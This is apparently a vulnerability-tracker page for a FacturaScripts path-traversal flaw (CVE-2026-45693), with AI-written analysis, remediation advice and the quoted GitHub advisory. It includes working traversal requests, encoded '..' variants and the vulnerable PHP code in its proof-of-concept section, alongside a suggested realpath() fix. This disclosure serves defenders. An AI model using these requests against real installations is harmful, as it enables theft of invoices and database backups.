FacturaScripts CVE-2026-45693
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach FacturaScripts web root unauthenticated
-
DeliveryCraft URL with allow-listed prefix plus ../ traversal
-
ExploitBypass prefix-based folder/token check
-
ExecutionServer resolves path into MyFiles/Private
-
ImpactRead invoices, attachments, and .sql backups
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | For the primary path via Files.php, no special conditions - remote unauthenticated read of any allow-listed-extension file against a default FacturaScripts installation, because the /Plugins/ (and /Core/Assets/, /Dinamic/Assets/) folders ship with every install. Limiting factors: the target file's extension must be on the allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.), so .php and other non-listed files cannot be read, and Apache URI normalization confines reads to within the FacturaScripts installation directory (files outside the app tree are rejected as AH10244 invalid URI path). The second path via Myfiles.php (/MyFiles/Public/../Private/...) additionally requires that a MyFiles/Public/ directory already exists on disk - true only for installs that have published at least one public asset such as a company logo or theme file - but this is merely an alternate route; the /Plugins/* path needs no such precondition. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, base 7.5) is internally consistent with the description: network-reachable, low complexity, no privileges, no user interaction, high confidentiality impact only, with no integrity or availability impact - matching an unauthenticated read-only disclosure. The /Plugins/* path has no precondition because that folder ships with every install, which supports AC:L and PR:N. No EPSS score and no KEV status were provided in the input, so exploitation probability and active-exploitation signals cannot be quantified from available data. A working, step-by-step PoC is published in the GHSA, so weaponization effort is trivial (publicly available exploit code exists), but that is distinct from confirmed in-the-wild use, which is not established. The vendor 'Tags' field lists 'RCE', but this conflicts with the advisory body, which explicitly states .php is not on the allow-list and RCE is not achievable - treat the RCE tag as inaccurate. Net: a genuine, easy-to-exploit data-disclosure priority for any internet-exposed FacturaScripts instance, tempered by limited product prevalence and confidentiality-only impact. |
| Exploit ScenarioDerived | An unauthenticated attacker who can reach the FacturaScripts web interface sends GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf; the prefix check sees '/Plugins', authorizes the request, and the server returns the private invoice (HTTP 200) that direct access would have blocked with a 403 token error. By iterating filenames and allow-listed extensions, the attacker harvests invoices, attachments, and .sql database backups. A complete PoC demonstrating both the /Plugins/* path and the /MyFiles/Public/../ token-bypass path is publicly available in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 14, 2026
Unauthenticated arbitrary file read in FacturaScripts (all versions through v2026.2) lets remote attackers retrieve protected documents by abusing the static file controllers Files.php and Myfiles.php, which authorize requests on the raw URL prefix rather than the resolved filesystem path. A request such as /Plugins/../MyFiles/Private/invoice.pdf passes the prefix allow-list yet resolves to a private file, leaking customer/supplier invoices, attachments, and .sql database backups. A detailed, reproducible exploit is publicly available in the GitHub Security Advisory; there is no vendor-released patch identified at time of analysis and no evidence of active exploitation.
RemediationAI
No vendor-released patch identified at time of analysis (advisory reports 'fixed in: None'), so apply the advisory's own suggested code fix or compensating controls. The correct fix, described in the GHSA, is to canonicalize the requested path with realpath() and confirm it falls under realpath(Tools::folder()) and an allow-listed subdirectory before serving the file or skipping the myft token check, in both Core/Controller/Files.php and Core/Controller/Myfiles.php. Until an official release ships, deploy a reverse-proxy/WebServer rule to reject any request URI containing ../ or its encodings (%2e%2e, %2E%2E, .%2e) on the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/*, /node_modules/* and /MyFiles/* routes - note this can break legitimate URLs that rely on redundant slashes and must cover encoded variants to be effective. As defense in depth, restrict network exposure of the FacturaScripts instance to trusted networks/VPN and move sensitive exports (database .sql backups) out of the served application tree, accepting that this changes backup workflows. Track the vendor advisory at https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cv65-7cg8-r623 for an official patched version and cite the exact fix version once published.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected software is FacturaScripts, an open-source PHP ERP/accounting application (Composer package facturascripts/facturascripts) typically deployed on Apache/PHP. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / path traversal). Both Core/Controller/Files.php and Core/Controller/Myfiles.php build the target path by string-concatenating Tools::folder() with the request URL, then decide authorization using strpos()/substr() prefix checks against an allow-list of folder names (node_modules, vendor, Dinamic, Core, Plugins, MyFiles/Public). Because is_file()/readfile() operate on the real filesystem, the OS collapses embedded ../ segments after the string-only check has already passed, so the authorized-looking prefix and the actually-served file diverge. Myfiles.php additionally uses the /MyFiles/Public/ prefix to short-circuit its per-file 'myft' token validation, so a Public-prefixed URL with ../ reaches Private files without a token. The extension allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.) bounds what can be read; .php is excluded, which is why this is file disclosure and not code execution.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-reachable, no auth or interaction, and the no-precondition /Plugins/* path justifies AC:L/PR:N; impact is read-only file disclosure so C:H with I:N/A:N.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.
The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.
The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.
Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.
Details
Path 1, in Core/Controller/Files.php
Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:
$this->filePath = Tools::folder() . $url;
if (false === is_file($this->filePath)) {
throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFolderSafe($url)) {
throw new KernelException('UnsafeFolder', $url);
}
if (false === $this->isFileSafe($this->filePath)) {
throw new KernelException('UnsafeFile', $url);
}isFolderSafe() only inspects the URL string:
public static function isFolderSafe(string $filePath): bool
{
$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
foreach ($safeFolders as $folder) {
if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
return true;
}
}
return false;
}For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.
Path 2, in Core/Controller/Myfiles.php
The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:
$this->filePath = Tools::folder() . urldecode($url);
if (false === is_file($this->filePath)) {
throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFileSafe($this->filePath)) {
throw new KernelException('UnsafeFile', $url);
}
// if the folder is MyFiles/Public, then we don't need to check the token
if (strpos($url, '/MyFiles/Public/') === 0) {
return;
}
$fixedFilePath = substr(urldecode($url), 1);
$token = filter_input(INPUT_GET, 'myft');
if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
throw new KernelException('MyfilesTokenError', $fixedFilePath);
}A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.
This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).
Why this is not the documented "Public folder" behaviour
MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.
PoC
The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:
%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial dataStep 1, control. Direct access without a token is blocked:
GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p><img width="1584" height="788" alt="01-control-direct-private-file-blocked" src="https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33" />
Step 2, exploit via /Plugins/*. This is the no-precondition path:
GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf
%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data<img width="1585" height="791" alt="02-exploit-path1-plugins-leak" src="https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf" />
The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.
Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:
GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf
%PDF-FAKE-CONTENT for FacturaScripts PoC
...<img width="1582" height="789" alt="03-exploit-path2-myfiles-public-token-bypass" src="https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957" />
A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.
The file is confirmed present on disk:
<img width="1918" height="328" alt="04-lab-evidence-file-on-disk" src="https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a" />
Affected request paths
| URL pattern | Controller | Token required | Result |
|---|---|---|---|
/MyFiles/Private/invoice.pdf | Myfiles | yes | 403 (control) |
/Plugins/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) |
/Core/Assets/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) |
/Dinamic/Assets/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) |
/MyFiles/Public/../Private/invoice.pdf | Myfiles | bypassed | 200 (leak) |
Impact
In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:
- Customer and supplier invoices stored under
MyFiles/Private/ - Document attachments uploaded through
WidgetFileandDocFilesTrait(MyFiles/<filename>) - Database backups exported with
.sql - Cached or temporary business data under
MyFiles/Cache/andMyFiles/Tmp/
.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.
Suggested Fix
Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:
$this->filePath = Tools::folder() . $url;
if (false === is_file($this->filePath)) {
throw new KernelException('FileNotFound', ...);
}
$realPath = realpath($this->filePath);
$base = realpath(Tools::folder());
if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
throw new KernelException('UnsafeFolder', $url);
}
$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
$relative = substr($realPath, strlen($base) + 1);
$allowed = false;
foreach ($safeFolders as $folder) {
if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
$allowed = true;
break;
}
}
if (!$allowed) {
throw new KernelException('UnsafeFolder', $url);
}The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.
Affected Versions
Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).
Articles & Coverage 1
Executive ViewAI
FacturaScripts accounting software (all versions through 2026.2) contains an unauthenticated path traversal vulnerability enabling remote theft of invoices, customer/supplier records, and database backups. Publicly available exploit code exists; any organization running FacturaScripts faces immediate risk of financial data breach and regulatory violations under GDPR and payment card industry compliance requirements.
No vendor-released patch identified at time of analysis. Implement interim mitigations: Web Application Firewall rules blocking directory traversal sequences in requests to Plugins and MyFiles directories; network segmentation restricting FacturaScripts access to authorized IP ranges only; filesystem permissions enforcing that the web server cannot access directories outside the intended static file location; comprehensive access logging with alerting on suspicious requests; regular audits of file system permissions and stored sensitive data locations; consider network isolation of FacturaScripts installation from internet-facing infrastructure until patch is available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-cv65-7cg8-r623
NVD
CVE.org
Exploit-DB